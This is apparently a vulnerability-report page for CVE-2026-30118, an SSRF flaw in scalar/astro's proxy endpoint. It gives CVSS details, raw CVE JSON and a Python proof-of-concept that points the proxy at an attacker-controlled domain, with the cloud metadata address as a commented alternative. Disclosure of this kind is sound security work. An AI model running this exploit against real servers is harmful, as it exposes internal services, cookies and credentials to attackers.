Security Vulnerability Report
中文
CVE-2026-30118 CVSS 9.8 CRITICAL

CVE-2026-30118

Published: 2026-05-19 16:16:20
Last Modified: 2026-05-20 14:16:40

Description

scalar/astro v0.1.13 was discovered to contain a Server-Side Request Forgery (SSRF) in the scalar_url query parameter of the Scalar Proxy endpoint. This vulnerability allows unauthenticated attackers to force the backend server to send HTTP requests to attacker-controlled URLs, leading to authentication cookies and headers exposure and possible privilege escalation.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

scalar/astro v0.1.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-30118 # Target: scalar/astro v0.1.13 import requests def exploit_ssrf(target_host, malicious_url): """Exploit the SSRF vulnerability via scalar_url parameter.""" url = f"{target_host}/proxy" params = { "scalar_url": malicious_url } try: response = requests.get(url, params=params, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:200]}") if response.status_code == 200: print("[+] SSRF Triggered successfully!") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example: Pointing to a burp collaborator or internal metadata service target = "http://localhost:3000" # malicious_url = "http://169.254.169.254/latest/meta-data/" malicious_url = "http://attacker-controlled-domain.com/capture" exploit_ssrf(target, malicious_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30118", "sourceIdentifier": "[email protected]", "published": "2026-05-19T16:16:20.103", "lastModified": "2026-05-20T14:16:39.930", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "scalar/astro v0.1.13 was discovered to contain a Server-Side Request Forgery (SSRF) in the scalar_url query parameter of the Scalar Proxy endpoint. This vulnerability allows unauthenticated attackers to force the backend server to send HTTP requests to attacker-controlled URLs, leading to authentication cookies and headers exposure and possible privilege escalation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/prassan10/ssrf-zero-click-ato-scalar", "source": "[email protected]"}, {"url": "https://github.com/prassan10/ssrf-zero-click-ato-scalar", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}